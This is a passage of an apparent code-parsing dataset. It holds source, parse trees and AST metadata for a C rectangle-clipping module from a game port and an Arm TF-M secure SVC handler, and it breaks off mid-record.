365, 366, 371, 375, 376, 381, 382, 388, 389, 394, 398, 399, 404, 415, 425, 426, 427, 428, 429, 434, 435, 440, 441, 442, 447, 448, 453, 457, 461, 462, 463, 473, 474, 475, 476, 482, 483, 488, 489, 490, 491, 497, 498, 503, 504, 505, 506, 512, 513, 518, 519, 520, 521, 527, 528, 533, 534, 535, 545, 546, 547, 548, 552, 555, 556, 573, 574, 587, 590, 593, 599, 600, 618, 623, 626, 627, 632, 641, 671, 697, 698, 699, 703, 707, 711, 716, 720, 724, 725, 726, 730, 734, 738, 743, 747, 751, 752, 753, 757, 761, 765, 770, 774, 778, 779, 780, 784, 788, 792, 797, 801, 828, 832, 836, 837, 838, 839, 840, 841, 845, 849, 850, 854, 858, 859, 863, 867, 868, 872, 876, 877, 878, 882, 886, 890, 894, 895, 896, 900, 904, 908, 912, 913, 914, 918, 922, 926, 930, 931, 932, 936, 940, 944], "assignments": [31, 67, 72, 83, 92, 114, 123, 135, 139, 146, 155, 164, 196, 210, 219, 227, 235, 245, 255, 265, 278, 288, 298, 311, 321, 334, 344, 354, 364, 374, 387, 397, 412, 452, 472, 487, 502, 517, 532, 542, 584, 609, 613, 617, 634, 638, 645, 662, 666, 670, 706, 715, 733, 742, 760, 769, 787, 796, 827, 885, 903, 921, 939, 947, 952], "loops": [16], "conditionals": [7, 8, 12, 18, 20, 22, 25, 26, 28, 30, 32, 34, 38, 41, 44, 46, 49, 51, 54, 56, 57, 59, 60, 62, 63, 65, 66, 68, 73, 76, 77, 81, 84, 90, 91, 95, 98, 105, 106, 107, 108, 112, 115, 121, 122, 124, 131, 132, 134, 136, 138, 140, 145, 151, 152, 154, 159, 161, 163, 167, 169, 171, 173, 176, 179, 181, 184, 186, 188, 191, 192, 194, 195, 197, 201, 204, 206, 207, 209, 211, 214, 216, 218, 221, 222, 226, 229, 230, 238, 240, 243, 244, 248, 250, 253, 254, 258, 260, 263, 264, 268, 270, 274, 275, 281, 283, 286, 287, 291, 293, 296, 297, 301, 303, 307, 308, 314, 316, 319, 320, 324, 326, 330, 331, 337, 339, 342, 343, 347, 349, 352, 353, 357, 359, 362, 363, 367, 369, 372, 373, 377, 379, 383, 384, 390, 392, 395, 396, 400, 402, 405, 406, 408, 411, 413, 416, 420, 424, 430, 431, 432, 436, 437, 438, 443, 444, 445, 449, 450, 451, 455, 458, 460, 465, 478, 479, 480, 484, 485, 486, 493, 494, 495, 499, 500, 501, 508, 509, 510, 514, 515, 516, 523, 524, 525, 529, 530, 531, 537, 538, 543, 550, 551, 554, 557, 561, 563, 565, 570, 571, 572, 576, 580, 585, 589, 591, 597, 598, 602, 607, 608, 610, 612, 614, 616, 619, 620, 622, 624, 628, 631, 633, 635, 637, 639, 642, 643, 646, 650, 654, 657, 658, 660, 661, 663, 665, 667, 669, 672, 673, 675, 679, 682, 685, 687, 690, 692, 695, 696, 700, 701, 704, 705, 708, 709, 712, 713, 717, 718, 721, 722, 723, 727, 728, 731, 732, 735, 736, 739, 740, 744, 745, 748, 749, 750, 754, 755, 758, 759, 762, 763, 766, 767, 771, 772, 775, 776, 777, 781, 782, 785, 786, 789, 790, 793, 794, 798, 799, 802, 803, 807, 810, 813, 815, 818, 820, 823, 826, 830, 834, 835, 842, 843, 846, 847, 851, 852, 855, 856, 860, 861, 864, 865, 869, 870, 873, 874, 875, 879, 880, 883, 884, 887, 888, 891, 892, 893, 897, 898, 901, 902, 905, 906, 909, 910, 911, 915, 916, 919, 920, 923, 924, 927, 928, 929, 933, 934, 937, 938, 941, 942, 945, 946, 948, 953, 957], "returns": [469, 560, 649, 956], "exceptions": []}, "expressions": {"calls": [], "literals": [2, 5, 189, 239, 249, 259, 269, 277, 282, 292, 302, 310, 315, 325, 333, 338, 348, 358, 368, 378, 386, 391, 401, 422, 559, 582, 630, 648, 950, 955], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 9, "universal_type": "function", "name": "GNW_rect_exit", "text_snippet": "void GNW_rect_exit(void) {\r\n while (rlist) {\r\n RectPtr ptr = rlist->next;\r\n free(rl"}, {"node_id": 11, "universal_type": "function", "name": "unknown", "text_snippet": "GNW_rect_exit(void)"}, {"node_id": 35, "universal_type": "function", "name": "rect_clip_list", "text_snippet": "void rect_clip_list(RectPtr *pCur, Rect *bound) {\r\n RectPtr *clip;\r\n RectPtr cur;\r\n RectPtr"}, {"node_id": 37, "universal_type": "function", "name": "unknown", "text_snippet": "rect_clip_list(RectPtr *pCur, Rect *bound)"}, {"node_id": 170, "universal_type": "function", "name": "i", "text_snippet": "RectPtr rect_clip(Rect *b, Rect *t) {\r\n Rect rect[4];\r\n Rect clipped;\r\n RectPtr ptr;\r\n\r\n "}, {"node_id": 172, "universal_type": "function", "name": "unknown", "text_snippet": "rect_clip(Rect *b, Rect *t)"}, {"node_id": 562, "universal_type": "function", "name": "i", "text_snippet": "RectPtr rect_malloc(void) {\r\n RectPtr ptr;\r\n\r\n if (!rlist) {\r\n int i = 0;\r\n\r\n do"}, {"node_id": 564, "universal_type": "function", "name": "unknown", "text_snippet": "rect_malloc(void)"}, {"node_id": 651, "universal_type": "function", "name": "rect_free", "text_snippet": "void rect_free(RectPtr ptr) {\r\n RectPtr temp;\r\n\r\n temp = rlist;\r\n rlist = ptr;\r\n ptr->ne"}, {"node_id": 653, "universal_type": "function", "name": "unknown", "text_snippet": "rect_free(RectPtr ptr)"}, {"node_id": 676, "universal_type": "function", "name": "rect_min_bound", "text_snippet": "void rect_min_bound(Rect *r1, Rect *r2, Rect *min_bound) {\r\n if (r1->ulx >= r2->ulx) {\r\n m"}, {"node_id": 678, "universal_type": "function", "name": "unknown", "text_snippet": "rect_min_bound(Rect *r1, Rect *r2, Rect *min_bound)"}, {"node_id": 804, "universal_type": "function", "name": "rect_inside_bound", "text_snippet": "int rect_inside_bound(Rect *r1, Rect *bound, Rect *r2) {\r\n int result;\r\n\r\n *r2 = *r1;\r\n\r\n i"}, {"node_id": 806, "universal_type": "function", "name": "unknown", "text_snippet": "rect_inside_bound(Rect *r1, Rect *bound, Rect *r2)"}], "class_declarations": [{"node_id": 595, "universal_type": "class", "name": "rectdata", "text_snippet": "struct rectdata"}, {"node_id": 596, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}], "import_statements": [{"node_id": 0, "text": "#include \"rect.h\"\r\n"}, {"node_id": 1, "text": "#include"}, {"node_id": 3, "text": "#include \"gnw.h\"\r\n"}, {"node_id": 4, "text": "#include"}]}, "original_source_code": "/* Copyright (c) 2020 M.A.X. Port Team\r\n *\r\n * Permission is hereby granted, free of charge, to any person obtaining a copy\r\n * of this software and associated documentation files (the \"Software\"), to deal\r\n * in the Software without restriction, including without limitation the rights\r\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\r\n * copies of the Software, and to permit persons to whom the Software is\r\n * furnished to do so, subject to the following conditions:\r\n *\r\n * The above copyright notice and this permission notice shall be included in all\r\n * copies or substantial portions of the Software.\r\n *\r\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\r\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\r\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\r\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\r\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\r\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\r\n * SOFTWARE.\r\n */\r\n\r\n#include \"rect.h\"\r\n\r\n#include \"gnw.h\"\r\n\r\nstatic RectPtr rlist;\r\n\r\nvoid GNW_rect_exit(void) {\r\n while (rlist) {\r\n RectPtr ptr = rlist->next;\r\n free(rlist);\r\n rlist = ptr;\r\n }\r\n}\r\n\r\nvoid rect_clip_list(RectPtr *pCur, Rect *bound) {\r\n RectPtr *clip;\r\n RectPtr cur;\r\n RectPtr temp;\r\n RectPtr temp2;\r\n RectPtr temp3;\r\n\r\n temp = NULL;\r\n clip = &temp;\r\n if (*pCur) {\r\n do {\r\n cur = (*pCur)->next;\r\n *clip = rect_clip(&(*pCur)->r, bound);\r\n if (*clip) {\r\n do {\r\n temp2 = (*clip)->next;\r\n clip = &(*clip)->next;\r\n } while (temp2);\r\n }\r\n temp3 = rlist;\r\n rlist = (*pCur);\r\n (*pCur)->next = temp3;\r\n (*pCur) = cur;\r\n } while (cur);\r\n }\r\n *pCur = temp;\r\n}\r\n\r\nRectPtr rect_clip(Rect *b, Rect *t) {\r\n Rect rect[4];\r\n Rect clipped;\r\n RectPtr ptr;\r\n\r\n ptr = NULL;\r\n if (rect_inside_bound(t, b, &clipped)) {\r\n ptr = rect_malloc();\r\n if (ptr) {\r\n ptr->r = *b;\r\n ptr->next = NULL;\r\n }\r\n } else {\r\n rect[0].ulx = b->ulx;\r\n rect[0].uly = b->uly;\r\n rect[0].lrx = b->lrx;\r\n rect[0].lry = clipped.uly - 1;\r\n\r\n rect[1].ulx = b->ulx;\r\n rect[1].uly = clipped.uly;\r\n rect[1].lrx = clipped.ulx - 1;\r\n rect[1].lry = clipped.lry;\r\n\r\n rect[2].ulx = clipped.lrx + 1;\r\n rect[2].uly = clipped.uly;\r\n rect[2].lrx = b->lrx;\r\n rect[2].lry = clipped.lry;\r\n\r\n rect[3].ulx = b->ulx;\r\n rect[3].uly = clipped.lry + 1;\r\n rect[3].lrx = b->lrx;\r\n rect[3].lry = b->lry;\r\n\r\n {\r\n RectPtr *rect_ptr;\r\n rect_ptr = &ptr;\r\n int i = 0;\r\n\r\n do {\r\n if (rect[i].ulx <= rect[i].lrx && rect[i].uly <= rect[i].lry) {\r\n *rect_ptr = rect_malloc();\r\n if (*rect_ptr == NULL) {\r\n return NULL;\r\n }\r\n\r\n (*rect_ptr)->r.ulx = rect[i].ulx;\r\n (*rect_ptr)->r.uly = rect[i].uly;\r\n (*rect_ptr)->r.lrx = rect[i].lrx;\r\n (*rect_ptr)->r.lry = rect[i].lry;\r\n\r\n (*rect_ptr)->next = NULL;\r\n rect_ptr = &(*rect_ptr)->next;\r\n }\r\n ++i;\r\n } while (i < 4);\r\n }\r\n }\r\n\r\n return ptr;\r\n}\r\n\r\nRectPtr rect_malloc(void) {\r\n RectPtr ptr;\r\n\r\n if (!rlist) {\r\n int i = 0;\r\n\r\n do {\r\n ptr = (RectPtr)malloc(sizeof(struct rectdata));\r\n if (!ptr) {\r\n break;\r\n } else {\r\n RectPtr temp;\r\n\r\n temp = rlist;\r\n rlist = ptr;\r\n ptr->next = temp;\r\n i++;\r\n }\r\n } while (i < 10);\r\n }\r\n\r\n if (rlist) {\r\n ptr = rlist;\r\n rlist = rlist->next;\r\n } else {\r\n ptr = 0;\r\n }\r\n\r\n return ptr;\r\n}\r\n\r\nvoid rect_free(RectPtr ptr) {\r\n RectPtr temp;\r\n\r\n temp = rlist;\r\n rlist = ptr;\r\n ptr->next = temp;\r\n}\r\n\r\nvoid rect_min_bound(Rect *r1, Rect *r2, Rect *min_bound) {\r\n if (r1->ulx >= r2->ulx) {\r\n min_bound->ulx = r2->ulx;\r\n } else {\r\n min_bound->ulx = r1->ulx;\r\n }\r\n\r\n if (r1->uly >= r2->uly) {\r\n min_bound->uly = r2->uly;\r\n } else {\r\n min_bound->uly = r1->uly;\r\n }\r\n\r\n if (r1->lrx <= r2->lrx) {\r\n min_bound->lrx = r2->lrx;\r\n } else {\r\n min_bound->lrx = r1->lrx;\r\n }\r\n\r\n if (r1->lry <= r2->lry) {\r\n min_bound->lry = r2->lry;\r\n } else {\r\n min_bound->lry = r1->lry;\r\n }\r\n}\r\n\r\nint rect_inside_bound(Rect *r1, Rect *bound, Rect *r2) {\r\n int result;\r\n\r\n *r2 = *r1;\r\n\r\n if (r1->ulx <= bound->lrx && r1->lrx >= bound->ulx && r1->uly <= bound->lry && r1->lry >= bound->uly) {\r\n if (bound->ulx > r1->ulx) {\r\n r2->ulx = bound->ulx;\r\n }\r\n if (r1->lrx > bound->lrx) {\r\n r2->lrx = bound->lrx;\r\n }\r\n if (r1->uly < bound->uly) {\r\n r2->uly = bound->uly;\r\n }\r\n if (r1->lry > bound->lry) {\r\n r2->lry = bound->lry;\r\n }\r\n\r\n result = 0;\r\n } else {\r\n result = -1;\r\n }\r\n\r\n return result;\r\n}\r\n"}
81,164
c
/* * Copyright (c) 2017-2019, Arm Limited. All rights reserved. * * SPDX-License-Identifier: BSD-3-Clause * */ #include <string.h> #include "tfm_api.h" #include "tfm_internal.h" #include "core/tfm_core_svc.h" #include "tfm_utils.h" #include "tfm_svcalls.h" #include "spm_api.h" uint32_t tfm_core_svc_handler(uint32_t *svc_args, uint32_t exc_return) { uint8_t svc_number = 0; /* * Stack contains: * r0, r1, r2, r3, r12, r14 (lr), the return address and xPSR * First argument (r0) is svc_args[0] */ if (is_return_secure_stack(exc_return)) { /* SV called directly from secure context. Check instruction for * svc_number */ svc_number = ((uint8_t *)svc_args[6])[-2]; } else { /* Secure SV executing with NS return. * NS cannot directly trigger S SVC so this should not happen. This is * an unrecoverable error. */ tfm_core_panic(); } switch (svc_number) { case TFM_SVC_HANDLER_MODE: tfm_spm_init(); break; case TFM_SVC_GET_BOOT_DATA: tfm_core_get_boot_data_handler(svc_args); break; default: svc_args[0] = SVC_Handler_IPC(svc_number, svc_args, exc_return); break; } return exc_return; } __attribute__ ((naked)) void tfm_core_handler_mode(void) { __ASM volatile("SVC %0 \n" "BX LR \n" : : "I" (TFM_SVC_HANDLER_MODE)); } void tfm_access_violation_handler(void) { while (1) { ; } }
25.69
58
(translation_unit) "/*\n * Copyright (c) 2017-2019, Arm Limited. All rights reserved.\n *\n * SPDX-License-Identifier: BSD-3-Clause\n *\n */\n\n#include <string.h>\n#include "tfm_api.h"\n#include "tfm_internal.h"\n#include "core/tfm_core_svc.h"\n#include "tfm_utils.h"\n#include "tfm_svcalls.h"\n#include "spm_api.h"\n\nuint32_t tfm_core_svc_handler(uint32_t *svc_args, uint32_t exc_return)\n{\n uint8_t svc_number = 0;\n /*\n * Stack contains:\n * r0, r1, r2, r3, r12, r14 (lr), the return address and xPSR\n * First argument (r0) is svc_args[0]\n */\n if (is_return_secure_stack(exc_return)) {\n /* SV called directly from secure context. Check instruction for\n * svc_number\n */\n svc_number = ((uint8_t *)svc_args[6])[-2];\n } else {\n /* Secure SV executing with NS return.\n * NS cannot directly trigger S SVC so this should not happen. This is\n * an unrecoverable error.\n */\n tfm_core_panic();\n }\n switch (svc_number) {\n case TFM_SVC_HANDLER_MODE:\n tfm_spm_init();\n break;\n case TFM_SVC_GET_BOOT_DATA:\n tfm_core_get_boot_data_handler(svc_args);\n break;\n default:\n svc_args[0] = SVC_Handler_IPC(svc_number, svc_args, exc_return);\n break;\n }\n\n return exc_return;\n}\n\n__attribute__ ((naked)) void tfm_core_handler_mode(void)\n{\n __ASM volatile("SVC %0 \n"\n "BX LR \n"\n : : "I" (TFM_SVC_HANDLER_MODE));\n}\n\nvoid tfm_access_violation_handler(void)\n{\n while (1) {\n ;\n }\n}\n" (comment) "/*\n * Copyright (c) 2017-2019, Arm Limited. All rights reserved.\n *\n * SPDX-License-Identifier: BSD-3-Clause\n *\n */" (preproc_include) "#include <string.h>\n" (#include) "#include" (system_lib_string) "<string.h>" (preproc_include) "#include "tfm_api.h"\n" (#include) "#include" (string_literal) ""tfm_api.h"" (") """ (string_content) "tfm_api.h" (") """ (preproc_include) "#include "tfm_internal.h"\n" (#include) "#include" (string_literal) ""tfm_internal.h"" (") """ (string_content) "tfm_internal.h" (") """ (preproc_include) "#include "core/tfm_core_svc.h"\n" (#include) "#include" (string_literal) ""core/tfm_core_svc.h"" (") """ (string_content) "core/tfm_core_svc.h" (") """ (preproc_include) "#include "tfm_utils.h"\n" (#include) "#include" (string_literal) ""tfm_utils.h"" (") """ (string_content) "tfm_utils.h" (") """ (preproc_include) "#include "tfm_svcalls.h"\n" (#include) "#include" (string_literal) ""tfm_svcalls.h"" (") """ (string_content) "tfm_svcalls.h" (") """ (preproc_include) "#include "spm_api.h"\n" (#include) "#include" (string_literal) ""spm_api.h"" (") """ (string_content) "spm_api.h" (") """ (function_definition) "uint32_t tfm_core_svc_handler(uint32_t *svc_args, uint32_t exc_return)\n{\n uint8_t svc_number = 0;\n /*\n * Stack contains:\n * r0, r1, r2, r3, r12, r14 (lr), the return address and xPSR\n * First argument (r0) is svc_args[0]\n */\n if (is_return_secure_stack(exc_return)) {\n /* SV called directly from secure context. Check instruction for\n * svc_number\n */\n svc_number = ((uint8_t *)svc_args[6])[-2];\n } else {\n /* Secure SV executing with NS return.\n * NS cannot directly trigger S SVC so this should not happen. This is\n * an unrecoverable error.\n */\n tfm_core_panic();\n }\n switch (svc_number) {\n case TFM_SVC_HANDLER_MODE:\n tfm_spm_init();\n break;\n case TFM_SVC_GET_BOOT_DATA:\n tfm_core_get_boot_data_handler(svc_args);\n break;\n default:\n svc_args[0] = SVC_Handler_IPC(svc_number, svc_args, exc_return);\n break;\n }\n\n return exc_return;\n}" (primitive_type) "uint32_t" (function_declarator) "tfm_core_svc_handler(uint32_t *svc_args, uint32_t exc_return)" (identifier) "tfm_core_svc_handler" (parameter_list) "(uint32_t *svc_args, uint32_t exc_return)" (() "(" (parameter_declaration) "uint32_t *svc_args" (primitive_type) "uint32_t" (pointer_declarator) "*svc_args" (*) "*" (identifier) "svc_args" (,) "," (parameter_declaration) "uint32_t exc_return" (primitive_type) "uint32_t" (identifier) "exc_return" ()) ")" (compound_statement) "{\n uint8_t svc_number = 0;\n /*\n * Stack contains:\n * r0, r1, r2, r3, r12, r14 (lr), the return address and xPSR\n * First argument (r0) is svc_args[0]\n */\n if (is_return_secure_stack(exc_return)) {\n /* SV called directly from secure context. Check instruction for\n * svc_number\n */\n svc_number = ((uint8_t *)svc_args[6])[-2];\n } else {\n /* Secure SV executing with NS return.\n * NS cannot directly trigger S SVC so this should not happen. This is\n * an unrecoverable error.\n */\n tfm_core_panic();\n }\n switch (svc_number) {\n case TFM_SVC_HANDLER_MODE:\n tfm_spm_init();\n break;\n case TFM_SVC_GET_BOOT_DATA:\n tfm_core_get_boot_data_handler(svc_args);\n break;\n default:\n svc_args[0] = SVC_Handler_IPC(svc_number, svc_args, exc_return);\n break;\n }\n\n return exc_return;\n}" ({) "{" (declaration) "uint8_t svc_number = 0;" (primitive_type) "uint8_t" (init_declarator) "svc_number = 0" (identifier) "svc_number" (=) "=" (number_literal) "0" (;) ";" (comment) "/*\n * Stack contains:\n * r0, r1, r2, r3, r12, r14 (lr), the return address and xPSR\n * First argument (r0) is svc_args[0]\n */" (if_statement) "if (is_return_secure_stack(exc_return)) {\n /* SV called directly from secure context. Check instruction for\n * svc_number\n */\n svc_number = ((uint8_t *)svc_args[6])[-2];\n } else {\n /* Secure SV executing with NS return.\n * NS cannot directly trigger S SVC so this should not happen. This is\n * an unrecoverable error.\n */\n tfm_core_panic();\n }" (if) "if" (parenthesized_expression) "(is_return_secure_stack(exc_return))" (() "(" (call_expression) "is_return_secure_stack(exc_return)" (identifier) "is_return_secure_stack" (argument_list) "(exc_return)" (() "(" (identifier) "exc_return" ()) ")" ()) ")" (compound_statement) "{\n /* SV called directly from secure context. Check instruction for\n * svc_number\n */\n svc_number = ((uint8_t *)svc_args[6])[-2];\n }" ({) "{" (comment) "/* SV called directly from secure context. Check instruction for\n * svc_number\n */" (expression_statement) "svc_number = ((uint8_t *)svc_args[6])[-2];" (assignment_expression) "svc_number = ((uint8_t *)svc_args[6])[-2]" (identifier) "svc_number" (=) "=" (subscript_expression) "((uint8_t *)svc_args[6])[-2]" (parenthesized_expression) "((uint8_t *)svc_args[6])" (() "(" (cast_expression) "(uint8_t *)svc_args[6]" (() "(" (type_descriptor) "uint8_t *" (primitive_type) "uint8_t" (abstract_pointer_declarator) "*" (*) "*" ()) ")" (subscript_expression) "svc_args[6]" (identifier) "svc_args" ([) "[" (number_literal) "6" (]) "]" ()) ")" ([) "[" (number_literal) "-2" (]) "]" (;) ";" (}) "}" (else_clause) "else {\n /* Secure SV executing with NS return.\n * NS cannot directly trigger S SVC so this should not happen. This is\n * an unrecoverable error.\n */\n tfm_core_panic();\n }" (else) "else" (compound_statement) "{\n /* Secure SV executing with NS return.\n * NS cannot directly trigger S SVC so this should not happen. This is\n * an unrecoverable error.\n */\n tfm_core_panic();\n }" ({) "{" (comment) "/* Secure SV executing with NS return.\n * NS cannot directly trigger S SVC so this should not happen. This is\n * an unrecoverable error.\n */" (expression_statement) "tfm_core_panic();" (call_expression) "tfm_core_panic()" (identifier) "tfm_core_panic" (argument_list) "()" (() "(" ()) ")" (;) ";" (}) "}" (switch_statement) "switch (svc_number) {\n case TFM_SVC_HANDLER_MODE:\n tfm_spm_init();\n break;\n case TFM_SVC_GET_BOOT_DATA:\n tfm_core_get_boot_data_handler(svc_args);\n break;\n default:\n svc_args[0] = SVC_Handler_IPC(svc_number, svc_args, exc_return);\n break;\n }" (switch) "switch" (parenthesized_expression) "(svc_number)" (() "(" (identifier) "svc_number" ()) ")" (compound_statement) "{\n case TFM_SVC_HANDLER_MODE:\n tfm_spm_init();\n break;\n case TFM_SVC_GET_BOOT_DATA:\n tfm_core_get_boot_data_handler(svc_args);\n break;\n default:\n svc_args[0] = SVC_Handler_IPC(svc_number, svc_args, exc_return);\n break;\n }" ({) "{" (case_statement) "case TFM_SVC_HANDLER_MODE:\n tfm_spm_init();\n break;" (case) "case" (identifier) "TFM_SVC_HANDLER_MODE" (:) ":" (expression_statement) "tfm_spm_init();" (call_expression) "tfm_spm_init()" (identifier) "tfm_spm_init" (argument_list) "()" (() "(" ()) ")" (;) ";" (break_statement) "break;" (break) "break" (;) ";" (case_statement) "case TFM_SVC_GET_BOOT_DATA:\n tfm_core_get_boot_data_handler(svc_args);\n break;" (case) "case" (identifier) "TFM_SVC_GET_BOOT_DATA" (:) ":" (expression_statement) "tfm_core_get_boot_data_handler(svc_args);" (call_expression) "tfm_core_get_boot_data_handler(svc_args)" (identifier) "tfm_core_get_boot_data_handler" (argument_list) "(svc_args)" (() "(" (identifier) "svc_args" ()) ")" (;) ";" (break_statement) "break;" (break) "break" (;) ";" (case_statement) "default:\n svc_args[0] = SVC_Handler_IPC(svc_number, svc_args, exc_return);\n break;" (default) "default" (:) ":" (expression_statement) "svc_args[0] = SVC_Handler_IPC(svc_number, svc_args, exc_return);" (assignment_expression) "svc_args[0] = SVC_Handler_IPC(svc_number, svc_args, exc_return)" (subscript_expression) "svc_args[0]" (identifier) "svc_args" ([) "[" (number_literal) "0" (]) "]" (=) "=" (call_expression) "SVC_Handler_IPC(svc_number, svc_args, exc_return)" (identifier) "SVC_Handler_IPC" (argument_list) "(svc_number, svc_args, exc_return)" (() "(" (identifier) "svc_number" (,) "," (identifier) "svc_args" (,) "," (identifier) "exc_return" ()) ")" (;) ";" (break_statement) "break;" (break) "break" (;) ";" (}) "}" (return_statement) "return exc_return;" (return) "return" (identifier) "exc_return" (;) ";" (}) "}" (function_definition) "__attribute__ ((naked)) void tfm_core_handler_mode(void)\n{\n __ASM volatile("SVC %0 \n"\n "BX LR \n"\n : : "I" (TFM_SVC_HANDLER_MODE));\n}" (attribute_specifier) "__attribute__ ((naked))" (__attribute__) "__attribute__" (() "(" (argument_list) "(naked)" (() "(" (identifier) "naked" ()) ")" ()) ")" (primitive_type) "void" (function_declarator) "tfm_core_handler_mode(void)" (identifier) "tfm_core_handler_mode" (parameter_list) "(void)" (() "(" (parameter_declaration) "void" (primitive_type) "void" ()) ")" (compound_statement) "{\n __ASM volatile("SVC %0 \n"\n "BX LR \n"\n : : "I" (TFM_SVC_HANDLER_MODE));\n}" ({) "{" (ERROR) "__ASM volatile("SVC %0 \n"\n "BX LR \n"\n : :" (type_identifier) "__ASM" (type_qualifier) "volatile" (volatile) "volatile" (() "(" (concatenated_string) ""SVC %0 \n"\n "BX LR \n"" (string_literal) ""SVC %0 \n"" (") """ (string_content) "SVC %0 " (escape_sequence) "\n" (") """ (string_literal) ""BX LR \n"" (") """ (string_content) "BX LR " (escape_sequence) "\n" (") """ (:) ":" (:) ":" (expression_statement) ""I" (TFM_SVC_HANDLER_MODE));" (call_expression) ""I" (TFM_SVC_HANDLER_MODE)" (string_literal) ""I"" (") """ (string_content) "I" (") """ (argument_list) "(TFM_SVC_HANDLER_MODE)" (() "(" (identifier) "TFM_SVC_HANDLER_MODE" ()) ")" (ERROR) ")" ()) ")" (;) ";" (}) "}" (function_definition) "void tfm_access_violation_handler(void)\n{\n while (1) {\n ;\n }\n}" (primitive_type) "void" (function_declarator) "tfm_access_violation_handler(void)" (identifier) "tfm_access_violation_handler" (parameter_list) "(void)" (() "(" (parameter_declaration) "void" (primitive_type) "void" ()) ")" (compound_statement) "{\n while (1) {\n ;\n }\n}" ({) "{" (while_statement) "while (1) {\n ;\n }" (while) "while" (parenthesized_expression) "(1)" (() "(" (number_literal) "1" ()) ")" (compound_statement) "{\n ;\n }" ({) "{" (expression_statement) ";" (;) ";" (}) "}" (}) "}"
261
2
{"language": "c", "success": true, "metadata": {"lines": 58, "avg_line_length": 25.69, "nodes": 136, "errors": 0, "source_hash": "d63e092b8dc1e60c7936efb9558abbb3a5b2d574914b023c54b5ee4a4de29ff0", "categorized_nodes": 95}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_include", "text": "#include <string.h>\n", "parent": null, "children": [1, 2], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 8, "column": 0}}, {"id": 1, "type": "#include", "text": "#include", "parent": 0, "children": [], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 7, "column": 8}}, {"id": 2, "type": "system_lib_string", "text": "<string.h>", "parent": 0, "children": [], "start_point": {"row": 7, "column": 9}, "end_point": {"row": 7, "column": 19}}, {"id": 3, "type": "preproc_include", "text": "#include \"tfm_api.h\"\n", "parent": null, "children": [4, 5], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 9, "column": 0}}, {"id": 4, "type": "#include", "text": "#include", "parent": 3, "children": [], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 8, "column": 8}}, {"id": 5, "type": "string_literal", "text": "\"tfm_api.h\"", "parent": 3, "children": [], "start_point": {"row": 8, "column": 9}, "end_point": {"row": 8, "column": 20}}, {"id": 6, "type": "preproc_include", "text": "#include \"tfm_internal.h\"\n", "parent": null, "children": [7, 8], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 10, "column": 0}}, {"id": 7, "type": "#include", "text": "#include", "parent": 6, "children": [], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 9, "column": 8}}, {"id": 8, "type": "string_literal", "text": "\"tfm_internal.h\"", "parent": 6, "children": [], "start_point": {"row": 9, "column": 9}, "end_point": {"row": 9, "column": 25}}, {"id": 9, "type": "preproc_include", "text": "#include \"core/tfm_core_svc.h\"\n", "parent": null, "children": [10, 11], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 11, "column": 0}}, {"id": 10, "type": "#include", "text": "#include", "parent": 9, "children": [], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 10, "column": 8}}, {"id": 11, "type": "string_literal", "text": "\"core/tfm_core_svc.h\"", "parent": 9, "children": [], "start_point": {"row": 10, "column": 9}, "end_point": {"row": 10, "column": 30}}, {"id": 12, "type": "preproc_include", "text": "#include \"tfm_utils.h\"\n", "parent": null, "children": [13, 14], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 12, "column": 0}}, {"id": 13, "type": "#include", "text": "#include", "parent": 12, "children": [], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 11, "column": 8}}, {"id": 14, "type": "string_literal", "text": "\"tfm_utils.h\"", "parent": 12, "children": [], "start_point": {"row": 11, "column": 9}, "end_point": {"row": 11, "column": 22}}, {"id": 15, "type": "preproc_include", "text": "#include \"tfm_svcalls.h\"\n", "parent": null, "children": [16, 17], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 13, "column": 0}}, {"id": 16, "type": "#include", "text": "#include", "parent": 15, "children": [], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 12, "column": 8}}, {"id": 17, "type": "string_literal", "text": "\"tfm_svcalls.h\"", "parent": 15, "children": [], "start_point": {"row": 12, "column": 9}, "end_point": {"row": 12, "column": 24}}, {"id": 18, "type": "preproc_include", "text": "#include \"spm_api.h\"\n", "parent": null, "children": [19, 20], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 14, "column": 0}}, {"id": 19, "type": "#include", "text": "#include", "parent": 18, "children": [], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 13, "column": 8}}, {"id": 20, "type": "string_literal", "text": "\"spm_api.h\"", "parent": 18, "children": [], "start_point": {"row": 13, "column": 9}, "end_point": {"row": 13, "column": 20}}, {"id": 21, "type": "function_definition", "text": "uint32_t tfm_core_svc_handler(uint32_t *svc_args, uint32_t exc_return)\n{\n uint8_t svc_number = 0;\n /*\n * Stack contains:\n * r0, r1, r2, r3, r12, r14 (lr), the return address and xPSR\n * First argument (r0) is svc_args[0]\n */\n if (is_return_secure_stack(exc_return)) {\n /* SV called directly from secure context. Check instruction for\n * svc_number\n */\n svc_number = ((uint8_t *)svc_args[6])[-2];\n } else {\n /* Secure SV executing with NS return.\n * NS cannot directly trigger S SVC so this should not happen. This is\n * an unrecoverable error.\n */\n tfm_core_panic();\n }\n switch (svc_number) {\n case TFM_SVC_HANDLER_MODE:\n tfm_spm_init();\n break;\n case TFM_SVC_GET_BOOT_DATA:\n tfm_core_get_boot_data_handler(svc_args);\n 